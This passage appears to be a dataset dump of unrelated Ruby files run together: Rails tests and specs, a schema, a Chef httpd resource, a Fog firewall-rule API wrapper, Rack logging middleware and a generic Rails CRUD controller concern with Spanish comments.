assert_equal "/flow-slug", content_item.payload[:base_path]
end
test '#payload title is the title of the presenter' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "flow-title", content_item.payload[:title]
end
test '#payload description is the description of the presenter' do
presenter = stub_flow_registration_presenter
presenter.stubs(:description).returns('flow-description')
content_item = StartPageContentItem.new(presenter)
assert_equal "flow-description", content_item.payload[:description]
end
test '#payload details hash includes external_related_links' do
presenter = stub_flow_registration_presenter
presenter.stubs(:external_related_links).returns(['link-1'])
content_item = StartPageContentItem.new(presenter)
assert_equal "link-1", content_item.payload[:details][:external_related_links][0]
end
test '#payload details hash includes includes the introductory paragraph as govspeak' do
presenter = stub_flow_registration_presenter
presenter.stubs(:start_page_body).returns('start-page-body')
content_item = StartPageContentItem.new(presenter)
assert_equal "start-page-body", content_item.payload[:details][:introductory_paragraph][0][:content]
assert_equal "text/govspeak", content_item.payload[:details][:introductory_paragraph][0][:content_type]
end
test '#payload details hash includes more information as govspeak' do
presenter = stub_flow_registration_presenter
presenter.stubs(:start_page_post_body).returns('start-page-post-body')
content_item = StartPageContentItem.new(presenter)
assert_equal "start-page-post-body", content_item.payload[:details][:more_information][0][:content]
assert_equal "text/govspeak", content_item.payload[:details][:more_information][0][:content_type]
end
test '#payload details hash includes the link to the flow' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "/flow-slug/y", content_item.payload[:details][:transaction_start_link]
end
test '#payload details hash includes the text to be used for the start button' do
presenter = stub_flow_registration_presenter
presenter.stubs(:start_page_button_text).returns('start-button-text')
content_item = StartPageContentItem.new(presenter)
assert_equal "start-button-text", content_item.payload[:details][:start_button_text]
end
test '#payload schema_name is generic_with_external_related_links' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "transaction", content_item.payload[:schema_name]
end
test '#payload document_type is transaction' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "transaction", content_item.payload[:document_type]
end
test '#payload publishing_app is smartanswers' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "smartanswers", content_item.payload[:publishing_app]
end
test '#payload rendering_app is frontend' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "frontend", content_item.payload[:rendering_app]
end
test '#payload locale is en' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal "en", content_item.payload[:locale]
end
test '#payload public_updated_at timestamp is the current datetime' do
now = Time.now
Time.stubs(:now).returns(now)
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_equal now.iso8601, content_item.payload[:public_updated_at]
end
test '#payload registers an exact route using the slug of the smart answer' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
expected_route = {type: 'exact', path: '/flow-slug'}
assert content_item.payload[:routes].include?(expected_route)
end
test '#payload registers an exact json route using the slug of the smart answer' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
expected_route = {type: 'exact', path: '/flow-slug.json'}
assert content_item.payload[:routes].include?(expected_route)
end
end
end
| 37.862857 | 114 | 0.736342 |
5de2fc09a4a2493ff3cb87bd981caa2de3114d22 | 2,055 | require 'test_helper'
class RepositoriesControllerTest < ActionController::TestCase
setup do
@repository = repositories(:one)
end
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:repositories)
end
test "should get new" do
get :new
assert_response :success
end
test "should create repository" do
assert_difference('Repository.count') do
post :create, repository: { address2: @repository.address2, address: @repository.address, administrator: @repository.administrator, city: @repository.city, code: @repository.code, country: @repository.country, email: @repository.email, email_signature: @repository.email_signature, fax: @repository.fax, name: @repository.name, phone: @repository.phone, phone_ext: @repository.phone_ext, research_functionality: @repository.research_functionality, state: @repository.state, url: @repository.url, zip: @repository.zip }
end
assert_redirected_to repository_path(assigns(:repository))
end
test "should show repository" do
get :show, id: @repository
assert_response :success
end
test "should get edit" do
get :edit, id: @repository
assert_response :success
end
test "should update repository" do
put :update, id: @repository, repository: { address2: @repository.address2, address: @repository.address, administrator: @repository.administrator, city: @repository.city, code: @repository.code, country: @repository.country, email: @repository.email, email_signature: @repository.email_signature, fax: @repository.fax, name: @repository.name, phone: @repository.phone, phone_ext: @repository.phone_ext, research_functionality: @repository.research_functionality, state: @repository.state, url: @repository.url, zip: @repository.zip }
assert_redirected_to repository_path(assigns(:repository))
end
test "should destroy repository" do
assert_difference('Repository.count', -1) do
delete :destroy, id: @repository
end
assert_redirected_to repositories_path
end
end
| 41.1 | 538 | 0.755718 |
1a33aed0bfd38247afca5333e21e0532f645f9ac | 1,782 | require 'spec_helper'
require 'json'
require 'date'
# Unit tests for Phrase::Team
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe 'Team' do
before do
# run before each test
@instance = Phrase::Team.new
end
after do
# run after each test
end
describe 'test an instance of Team' do
it 'should create an instance of Team' do
expect(@instance).to be_instance_of(Phrase::Team)
end
end
describe 'test attribute "id"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "name"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "created_at"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "updated_at"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "projects"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "spaces"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "users"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 27 | 102 | 0.697531 |
2630855fe87e8a162f5d6b96f26e2dbd357ff3df | 1,504 | # encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20160522160244) do
create_table "articles", force: :cascade do |t|
t.string "title"
t.text "text"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "comments", force: :cascade do |t|
t.string "commenter"
t.text "body"
t.integer "article_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "comments", ["article_id"], name: "index_comments_on_article_id"
create_table "users", force: :cascade do |t|
t.string "name"
t.string "email"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "password_digest"
end
end
| 35.809524 | 86 | 0.719415 |
ac6297ed1c5f9337197209059e9d0ce3928e5d78 | 1,286 | require File.dirname(__FILE__) + '/../../../spec_helper'
require 'set'
describe "SortedSet#superset?" do
before(:each) do
@set = SortedSet[1, 2, 3, 4]
end
it "returns true if passed a SortedSet that equals self or self is a proper superset of" do
@set.superset?(@set).should be_true
SortedSet[].superset?(SortedSet[]).should be_true
@set.superset?(SortedSet[]).should be_true
SortedSet[1, 2, 3].superset?(SortedSet[]).should be_true
SortedSet["a", "b", "c"].superset?(SortedSet[]).should be_true
@set.superset?(SortedSet[1, 2, 3]).should be_true
@set.superset?(SortedSet[1, 3]).should be_true
@set.superset?(SortedSet[1, 2]).should be_true
@set.superset?(SortedSet[1]).should be_true
@set.superset?(SortedSet[5]).should be_false
@set.superset?(SortedSet[1, 5]).should be_false
@set.superset?(SortedSet["test"]).should be_false
end
it "raises an ArgumentError when passed a non-SortedSet" do
lambda { SortedSet[].superset?([]) }.should raise_error(ArgumentError)
lambda { SortedSet[].superset?(1) }.should raise_error(ArgumentError)
lambda { SortedSet[].superset?("test") }.should raise_error(ArgumentError)
lambda { SortedSet[].superset?(Object.new) }.should raise_error(ArgumentError)
end
end
| 37.823529 | 93 | 0.693624 |
f8d6b54fd6a5c26b95f93f98f1cb39d231f1500e | 3,689 | # frozen_string_literal: true
RSpec.describe 'defendants/_offences.html.haml', type: :view do
let(:defendant) { object_double(CourtDataAdaptor::Resource::Defendant.new, offences: [offence]) }
let(:offence) { CourtDataAdaptor::Resource::Offence.new }
before do
assign(:defendant, defendant)
end
context 'when the defendant has an offence' do
context 'when the offence has a mode of trial' do
before { allow(offence).to receive(:mode_of_trial).and_return('Indictable only') }
context 'with reason' do
let(:mot_reason_ostruct_collection) { mot_reasons_array.map { |el| OpenStruct.new(el) } }
let(:mot_reasons_array) do
[{ code: '4', description: 'Defendant elects trial by jury' }]
end
before do
allow(offence).to receive(:mode_of_trial_reasons).and_return(mot_reason_ostruct_collection)
end
it 'displays mode of trial with reason' do
render
expect(rendered).to have_css('.govuk-table__cell',
text: /Indictable only:\n*Defendant elects trial by jury/)
end
end
context 'without reason' do
before { allow(offence).to receive(:mode_of_trial_reasons).and_return(nil) }
it 'displays mode of trial without reason' do
render
expect(rendered).to have_css('.govuk-table__cell', text: /Indictable only:\n*Not available/)
end
end
end
context 'when the offence has a title' do
before { allow(offence).to receive(:title).and_return('Murder') }
it 'displays offence title' do
render
expect(rendered).to have_css('.govuk-table__cell', text: 'Murder')
end
end
context 'when the offence has no title' do
before { allow(offence).to receive(:title).and_return(nil) }
it 'displays not available' do
render
expect(rendered).to have_css('.govuk-table__cell:nth-of-type(1)', text: 'Not available')
end
end
context 'when the offence has legislation' do
before { allow(offence).to receive(:legislation).and_return('Proceeds of Crime Act 2002 s.331') }
it 'displays offence legislation' do
render
expect(rendered).to have_css('.app-body-secondary', text: 'Proceeds of Crime Act 2002 s.331')
end
end
context 'when the offence has no legislation' do
before { allow(offence).to receive(:legislation).and_return(nil) }
it 'displays not available' do
render
expect(rendered).to have_css('.app-body-secondary', text: 'Not available')
end
end
context 'when the offence has pleas' do
let(:plea_ostruct_collection) { plea_array.map { |el| OpenStruct.new(el) } }
let(:plea_array) do
[{ code: 'NOT_GUILTY',
pleaded_at: '2020-04-12' },
{ code: 'GUILTY',
pleaded_at: '2020-05-12' },
{ code: 'NO_PLEA',
pleaded_at: '2020-03-12' }]
end
before do
allow(offence).to receive(:pleas).and_return(plea_ostruct_collection)
end
it 'displays list of pleas with plea dates' do
render
expect(rendered)
.to have_css('.govuk-table__cell',
text: %r{No plea on 12/03/2020.*Not guilty on 12/04/2020.*Guilty on 12/05/2020})
end
end
context 'when the offence has no pleas' do
before do
allow(offence).to receive(:pleas).and_return([])
end
it 'displays Not available for plea and plea date' do
render
expect(rendered).to have_css('.govuk-table__cell:nth-of-type(2)', text: 'Not available')
end
end
end
end
| 32.078261 | 103 | 0.627812 |
4aa950cc6e110039759fbe92d0293d608d572aff | 386 | # Copyright (c) 2013 Universidade Federal Fluminense (UFF).
# This file is part of SAPOS. Please, consult the license terms in the LICENSE file.
class CreateResearchAreas < ActiveRecord::Migration
def self.up
create_table :research_areas do |t|
t.string :name
t.string :code
t.timestamps
end
end
def self.down
drop_table :research_areas
end
end
| 21.444444 | 84 | 0.709845 |
11676cad4045c95f848ab07de27ae1ca26fcf312 | 4,078 | module Fog
module Compute
class ProfitBricks
class Real
# Retrieves the attributes of a given Firewall Rule
#
# ==== Parameters
# * datacenter_id<~String> - UUID of the datacenter
# * server_id<~String> - UUID of the server
# * nic_id<~String> - UUID of the NIC
# * firewall_rule_id<~String> - UUID of the firewall rule
#
# ==== Returns
# * response<~Excon::Response>:
# * body<~Hash>:
# * id<~String> - The resource's unique identifier
# * type<~String> - The type of the created resource
# * href<~String> - URL to the object’s representation (absolute path)
# * metadata<~Hash> - Hash containing the Firewall Rule metadata
# * createdDate<~String> - The date the resource was created
# * createdBy<~String> - The user who created the resource
# * etag<~String> - The etag for the resource
# * lastModifiedDate<~String> - The last time the resource has been modified
# * lastModifiedBy<~String> - The user who last modified the resource
# * state<~String> - Firewall Rule state
# * properties<~Hash> - Hash containing the Firewall Rule properties
# * name<~String> - The name of the Firewall Rule
# * protocol<~String> - The protocol for the rule: TCP, UDP, ICMP, ANY
# * sourceMac<~String> - Only traffic originating from the respective MAC address is allowed.
# Valid format: aa:bb:cc:dd:ee:ff. Value null allows all source MAC address
# * sourceIp<~String> - Only traffic originating from the respective IPv4 address is allowed. Value null allows all source IPs
# * targetIp<~String> - In case the target NIC has multiple IP addresses, only traffic directed
# to the respective IP address of the NIC is allowed. Value null allows all target IPs
# * icmpCode<~String> - Defines the allowed code (from 0 to 254) if protocol ICMP is chosen. Value null allows all codes
# * icmpType<~String> - Defines the allowed type (from 0 to 254) if the protocol ICMP is chosen. Value null allows all types
# * portRangeStart<~String> - Defines the start range of the allowed port (from 1 to 65534) if protocol TCP or UDP is chosen.
# Leave portRangeStart and portRangeEnd value null to allow all ports
# * portRangeEnd<~String> - Defines the end range of the allowed port (from 1 to 65534) if the protocol TCP or UDP is chosen.
# Leave portRangeStart and portRangeEnd null to allow all ports
#
# {ProfitBricks API Documentation}[https://devops.profitbricks.com/api/cloud/v2/#get-firewall-rule]
def get_firewall_rule(datacenter_id, server_id, nic_id, firewall_rule_id)
request(
:expects => [200],
:method => "GET",
:path => "/datacenters/#{datacenter_id}/servers/#{server_id}/nics/#{nic_id}/firewallrules/#{firewall_rule_id}?depth=5"
)
end
end
class Mock
def get_firewall_rule(datacenter_id, server_id, nic_id, firewall_rule_id)
if firewall_rule = data[:firewall_rules]['items'].find do |fwr|
fwr["datacenter_id"] == datacenter_id && fwr["server_id"] == server_id && fwr["nic_id"] == nic_id && fwr["id"] == firewall_rule_id
end
else
raise Fog::Errors::NotFound, "The requested resource could not be found"
end
response = Excon::Response.new
response.status = 200
response.body = firewall_rule
response
end
end
end
end
end
| 59.101449 | 150 | 0.567925 |
61486b843c5e80ee1b55eb4622950f2fd37ab153 | 348 | # frozen_string_literal: true
require 'spec_helper'
describe 'vpython::module::html5lib' do
on_supported_os.each do |os, os_facts|
context "on #{os}" do
let(:facts) { os_facts }
it { is_expected.to compile.with_all_deps }
it { is_expected.to contain_package('python3-html5lib').with_ensure('latest') }
end
end
end
| 21.75 | 85 | 0.689655 |
e20c81ea424357bb83e1e329b4db1ced61ebe534 | 2,002 | # frozen_string_literal: true
class ExtraLocalesController < ApplicationController
layout :false
skip_before_action :check_xhr,
:preload_json,
:redirect_to_login_if_required,
:verify_authenticity_token
OVERRIDES_BUNDLE ||= 'overrides'
MD5_HASH_LENGTH ||= 32
def show
bundle = params[:bundle]
raise Discourse::InvalidAccess.new if !valid_bundle?(bundle)
version = params[:v]
if version.present?
if version.kind_of?(String) && version.length == MD5_HASH_LENGTH
hash = ExtraLocalesController.bundle_js_hash(bundle)
immutable_for(1.year) if hash == version
else
raise Discourse::InvalidParameters.new(:v)
end
end
render plain: ExtraLocalesController.bundle_js(bundle), content_type: "application/javascript"
end
def self.bundle_js_hash(bundle)
if bundle == OVERRIDES_BUNDLE
site = RailsMultisite::ConnectionManagement.current_db
@by_site ||= {}
@by_site[site] ||= {}
@by_site[site][I18n.locale] ||= begin
js = bundle_js(bundle)
js.present? ? Digest::MD5.hexdigest(js) : nil
end
else
@bundle_js_hash ||= {}
@bundle_js_hash["#{bundle}_#{I18n.locale}"] ||= Digest::MD5.hexdigest(bundle_js(bundle))
end
end
def self.url(bundle)
"#{Discourse.base_uri}/extra-locales/#{bundle}?v=#{bundle_js_hash(bundle)}"
end
def self.client_overrides_exist?
bundle_js_hash(OVERRIDES_BUNDLE).present?
end
def self.bundle_js(bundle)
locale_str = I18n.locale.to_s
bundle_str = "#{bundle}_js"
if bundle == OVERRIDES_BUNDLE
JsLocaleHelper.output_client_overrides(locale_str)
else
JsLocaleHelper.output_extra_locales(bundle_str, locale_str)
end
end
def self.clear_cache!
site = RailsMultisite::ConnectionManagement.current_db
@by_site&.delete(site)
end
private
def valid_bundle?(bundle)
bundle == OVERRIDES_BUNDLE || (bundle =~ /^(admin|wizard)$/ && current_user&.staff?)
end
end
| 26 | 98 | 0.690809 |
ed4ce0fb248bdb2204aea61629ca95f5e2d57ee2 | 1,723 | require 'rack/body_proxy'
require "rack/transcribr/extensions"
module Rack
class CommonLogger
def log(env, status, header, began_at) end # Disable CommonLogger middleware
end
class Transcribr
FORMAT = %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n}
def initialize(app, logger=nil)
@app = app
@logger = logger
end
def call(env)
began_at = Time.now
status, header, body = @app.call(env)
header = Utils::HeaderHash.new(header)
body = BodyProxy.new(body) { log(env, status, header, began_at) }
[status, header, body]
end
private
def log(env, status, header, began_at)
now = Time.now
length = extract_content_length(header)
msg = FORMAT % [
env['HTTP_X_FORWARDED_FOR'] || env["REMOTE_ADDR"] || "-",
env["REMOTE_USER"] || "-",
now.strftime("%d/%b/%Y:%H:%M:%S %z"),
env["REQUEST_METHOD"],
env["PATH_INFO"],
env["QUERY_STRING"].empty? ? "" : "?"+env["QUERY_STRING"],
env["HTTP_VERSION"],
status.to_s[0..3],
length,
now - began_at ]
logger = @logger || env["rack.errors"]
if logger.respond_to?(:write)
logger.write(colorize(env["REQUEST_METHOD"], msg))
else
logger << colorize(env["REQUEST_METHOD"], msg)
end
end
def extract_content_length(headers)
value = headers["CONTENT_LENGTH"] or return '-'
value.to_s == '0' ? '-' : value
end
def colorize(method, msg)
case method
when "GET"
msg.blue
when "POST"
msg.green
when "PUT", "PATCH"
msg.yellow
when "DELETE"
msg.red
else
msg
end
end
end
end | 23.283784 | 80 | 0.56065 |
1cdce872b7bde76bb6520c953b199a47fca44fc2 | 912 | module HttpdCookbook
class HttpdConfigRhel < HttpdConfig
use_automatic_resource_name
provides :httpd_config, platform_family: %w(rhel fedora suse amazon)
action :create do
directory "/etc/#{apache_name}/conf.d" do
owner 'root'
group 'root'
mode '0755'
recursive true
action :create
end
template "/etc/#{apache_name}/conf.d/#{new_resource.config_name}.conf" do
owner 'root'
group 'root'
mode '0644'
variables(new_resource.variables)
source new_resource.source
cookbook new_resource.cookbook
sensitive new_resource.sensitive if new_resource.sensitive
action :create
end
end
action :delete do
file "/etc/#{apache_name}/conf.d/#{new_resource.config_name}.conf" do
action :delete
end
end
include HttpdCookbook::Helpers::Rhel
end
end
| 25.333333 | 79 | 0.64364 |
21c5c601e29f7ea3f36ceb11a80948974d58a993 | 1,251 | # encoding: UTF-8
class Post < ActiveRecord::Base
include ArelHelpers::ArelTable
include ArelHelpers::Aliases
has_many :comments
has_many :favorites
end
class Comment < ActiveRecord::Base
include ArelHelpers::ArelTable
include ArelHelpers::Aliases
belongs_to :post
belongs_to :author
end
class Author < ActiveRecord::Base
include ArelHelpers::ArelTable
include ArelHelpers::Aliases
has_one :comment
has_and_belongs_to_many :collab_posts
end
class Favorite < ActiveRecord::Base
include ArelHelpers::ArelTable
include ArelHelpers::Aliases
belongs_to :post
end
class CollabPost < ActiveRecord::Base
include ArelHelpers::ArelTable
include ArelHelpers::Aliases
has_and_belongs_to_many :authors
end
class Card < ActiveRecord::Base
has_many :card_locations
end
class CardLocation < ActiveRecord::Base
belongs_to :location
belongs_to :card, polymorphic: true
end
class Location < ActiveRecord::Base
has_many :card_locations
has_many :community_tickets, {
through: :card_locations, source: :card, source_type: 'CommunityTicket'
}
end
class CommunityTicket < ActiveRecord::Base
has_many :card_locations, as: :card, source_type: 'CommunityTicket'
has_many :locations, through: :card_locations
end
| 22.339286 | 75 | 0.785771 |
87c9068713e6a33c05e1c0cf5c741ec7dbba0ff4 | 2,298 | # frozen_string_literal: true
Rails.application.configure do
$stdout.sync = true
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
# Run rails dev:cache to toggle caching.
if Rails.root.join('tmp', 'caching-dev.txt').exist?
config.action_controller.perform_caching = true
config.action_controller.enable_fragment_cache_logging = true
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Highlight code that triggered database queries in logs.
config.active_record.verbose_query_logs = true
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
# Suppress logger output for asset requests.
config.assets.quiet = true
# Raises error for missing translations.
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
# config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 34.818182 | 87 | 0.762402 |
61f425ce68d6d7cd5a7dec774bda3661e552753f | 19,503 |
module Sip
module Concerns
module Controllers
module ModelosController
extend ActiveSupport::Concern
included do
include ModeloHelper
helper ModeloHelper
# Deben registrarse en Sip::Bitacora usos de este controlador
def registrar_en_bitacora
return false
end
# Permite modificar params
def prefiltrar()
end
def nom_filtro(ai)
Sip::ModeloHelper.nom_filtro(ai)
end
# Filtra por control de acceso
def filtrar_ca(reg)
return reg
end
def filtrar(reg, params_filtro)
# Control para fecha podría no estar localizado aunque
# campos por presentar si
latr = atributos_index.map {|a|
a.to_s.end_with?('_localizada') ?
[a, a.to_s.chomp('_localizada')] : [a]
}.flatten
quedan = params_filtro.keys
for ai in latr do
i = nom_filtro(ai)
if params_filtro["bus#{i}"] &&
params_filtro["bus#{i}"] != '' &&
reg.respond_to?("filtro_#{i.to_s}")
reg = reg.send("filtro_#{i.to_s}", params_filtro["bus#{i}"])
quedan -= ["bus#{i}"]
else
if params_filtro["bus#{i}ini"] &&
params_filtro["bus#{i}ini"] != '' &&
reg.respond_to?("filtro_#{i.to_s}ini")
reg = reg.send("filtro_#{i.to_s}ini",
params_filtro["bus#{i}ini"])
quedan -= ["bus#{i}ini"]
end
if params_filtro["bus#{i}fin"] &&
params_filtro["bus#{i}fin"] != '' &&
reg.respond_to?("filtro_#{i.to_s}fin")
reg = reg.send("filtro_#{i.to_s}fin",
params_filtro["bus#{i}fin"])
quedan -= ["bus#{i}ini"]
end
end
end
# También puede filtrarse por una o más identificaciones
# por ejemplo con un URL con parámetro filtro[ids]=3,4
if params_filtro['ids']
lids1 = params_filtro['ids'].split(',')
lids = lids1.map { |id| id.to_i }
if lids.length > 0 && lids[0] > 0
reg = reg.where("id IN (?)", lids)
end
quedan -= ["ids"]
end
quedan2 = params_filtro.clone.delete_if do |l, v|
v == '' || !quedan.include?(l)
end
if reg.respond_to?("filtrar_alterno")
reg = reg.filtrar_alterno(quedan2)
end
return reg
end
def index_otros_formatos(format, params)
return
end
def index_reordenar(c)
c.reorder([:id])
end
def index_plantillas
end
# Listado de registros
def index_sip(c = nil)
if (c != nil)
if c.class.to_s.end_with?('ActiveRecord_Relation')
if clase.constantize.to_s != c.klass.to_s
puts "No concuerdan #{clase.constantize.to_s} y " +
"klass #{c.klass.to_s}"
#return
end
elsif clase.constantize.to_s != c.class.to_s
puts "No concuerdan #{clase.constantize.to_s} y class #{c.class.to_s}"
#return
end
else
c = clase.constantize
end
c = c.accessible_by(current_ability)
if c.count == 0 && cannot?(:index, clase.constantize)
# Supone alias por omision de https://github.com/CanCanCommunity/cancancan/blob/develop/lib/cancan/ability/actions.rb
if cannot?(:read, clase.constantize)
flash[:error] = "No se puede acceder a #{clase}"
redirect_to main_app.root_path
return
end
#authorize! :read, clase.constantize
end
# Cambiar params
prefiltrar()
# Prefiltrar de acuerdo a control de acceso
c = filtrar_ca(c)
# Autocompletar
if params && params[:term] && params[:term] != ''
term = params[:term]
consNom = term.downcase.strip #sin_tildes
consNom.gsub!(/ +/, ":* & ")
if consNom.length > 0
consNom += ":*"
end
# El caso de uso tipico es autocompletación
# por lo que no usamos diccionario en español para evitar
# problemas con algoritmo de raices.
where = " to_tsvector('simple', unaccent(" +
c.busca_etiqueta_campos.join(" || ' ' || ") +
")) @@ to_tsquery('simple', ?)";
c = c.where(where, consNom)
end
if params && params[:filtro]
c = filtrar(c, params[:filtro])
end
c = index_reordenar(c) if c
index_plantillas
respond_to do |format|
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, self.clase,
0, 'listar', '')
end
format.html {
@registros = @registro = c ? c.paginate(
:page => params[:pagina], per_page: 20
) : nil;
render :index, layout: 'layouts/application'
return
}
@registros = @registro = c ? c.all : nil
if params &&
((params[:presenta_nombre] &&
params[:presenta_nombre] == "1") ||
(params[:filtro] && params[:filtro][:presenta_nombre] &&
params[:filtro][:presenta_nombre] == "1")) && @registros
regjson = @registros.map {|r|
{id: r.id, presenta_nombre: r.presenta_nombre()}
}
else
regjson = @registros
end
format.json {
render :index, json: regjson
return
}
format.js {
if params[:_sip_enviarautomatico]
@registros = @registro = c ? c.paginate(
:page => params[:pagina], per_page: 20
) : nil;
render :index, layout: 'layouts/application'
else
render :index, json: regjson
end
return
}
index_otros_formatos(format, params)
end
end
# Listado de registros
def index(c = nil)
index_sip(c)
end
def show_plantillas
end
def presentar_intermedio(registro, usuario_actual_id)
end
# Despliega detalle de un registro
def show
@registro = clase.constantize.find(params[:id])
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
if cannot? :show, @registro
# Supone alias por omision de https://github.com/CanCanCommunity/cancancan/blob/develop/lib/cancan/ability/actions.rb
authorize! :read, @registro
end
c2 = clase.demodulize.underscore
eval "@#{c2} = @registro"
presentar_intermedio(@registro, current_usuario.id)
show_plantillas
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, @registro.class.to_s,
@registro.id, 'presentar', '')
end
render layout: 'application'
end
# Filtro al contenido de params
# Para modificar parametros antes de que sean procesados en create y update.
# Puede servir para sanear información (si no quieren usarse validaciones).
def filtra_contenido_params
end
def nuevo_intermedio(registro)
end
# Presenta formulario para crear nuevo registro
def new_gen
if cannot? :new, clase.constantize
# Supone alias por omision de https://github.com/CanCanCommunity/cancancan/blob/develop/lib/cancan/ability/actions.rb
authorize! :create, clase.constantize
end
@registro = clase.constantize.new
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
if @registro.respond_to?(:fechacreacion)
@registro.fechacreacion = DateTime.now.strftime('%Y-%m-%d')
end
nuevo_intermedio(@registro)
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, @registro.class.to_s,
nil, 'iniciar', '')
end
end
def new
new_gen
render layout: 'application'
end
# Llamada en mitad de un edit
# Después de autenticar, antes de desplegar si retorna
# false no se despliega en llamadora
def editar_intermedio(registro, usuario_actual_id)
return true
end
# Despliega formulario para editar un regisro
def edit
@registro = clase.constantize.find(params[:id])
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
if cannot? :edit, clase.constantize
# Supone alias por omision de https://github.com/CanCanCommunity/cancancan/blob/develop/lib/cancan/ability/actions.rb
authorize! :update, @registro
end
if editar_intermedio(@registro, current_usuario.id)
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, @registro.class.to_s,
@registro.id, 'editar', '')
end
render layout: 'application'
end
end
# Validaciones adicionales a las del modelo que
# requieren current_usuario y current_ability y que
# bien no se desean que generen una excepción o bien
# que no se pudieron realizar con cancancan
def validaciones(registro)
@validaciones_error = ''
return true
end
# Crea un registro a partir de información de formulario
def create_gen(registro = nil)
c2 = clase.demodulize.underscore
if registro
@registro = registro
else
filtra_contenido_params
pf = send(c2 + '_params')
@registro = clase.constantize.new(pf)
end
if @registro.respond_to?(:fechacreacion)
@registro.fechacreacion = DateTime.now.strftime('%Y-%m-%d')
end
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
# render requiere el siguiente segun se confirmó
# y comentó en update_gen
eval "@#{c2} = @registro"
if !validaciones(@registro) || [email protected]?
flash[:error] = @validaciones_error
render action: 'new', layout: 'application'
return
end
authorize! :create, @registro
creada = genclase == 'M' ? 'creado' : 'creada';
respond_to do |format|
if @registro.save
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, @registro.class.to_s,
@registro.id, 'crear', '')
end
format.html {
redirect_to modelo_path(@registro),
notice: clase + " #{creada}."
}
format.json {
render action: 'show', status: :created, location: @registro
}
else
@registro.id = nil; # Volver a elegir Id
format.html { render action: 'new', layout: 'application' }
format.json {
render json: @registro.errors, status: :unprocessable_entity
}
end
end
end
def create
authorize! :new, clase.constantize
create_gen
end
# Retorna verdader si logra hacer operaciones adicionales
# de actualización a @registro
def actualizar_intermedio
return true
end
# Actualiza un registro con información recibida de formulario
def update_gen(registro = nil)
if registro
@registro = registro
else
@registro = clase.constantize.find(params[:id])
end
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
authorize! :update, @registro
filtra_contenido_params
c2 = clase.demodulize.underscore
pf = send(c2 + '_params')
@registro.assign_attributes( pf )
# El siguiente se necesita porque por lo visto render
# cuando viene de actividades_controller emplea @actividad
eval "@#{c2} = @registro"
respond_to do |format|
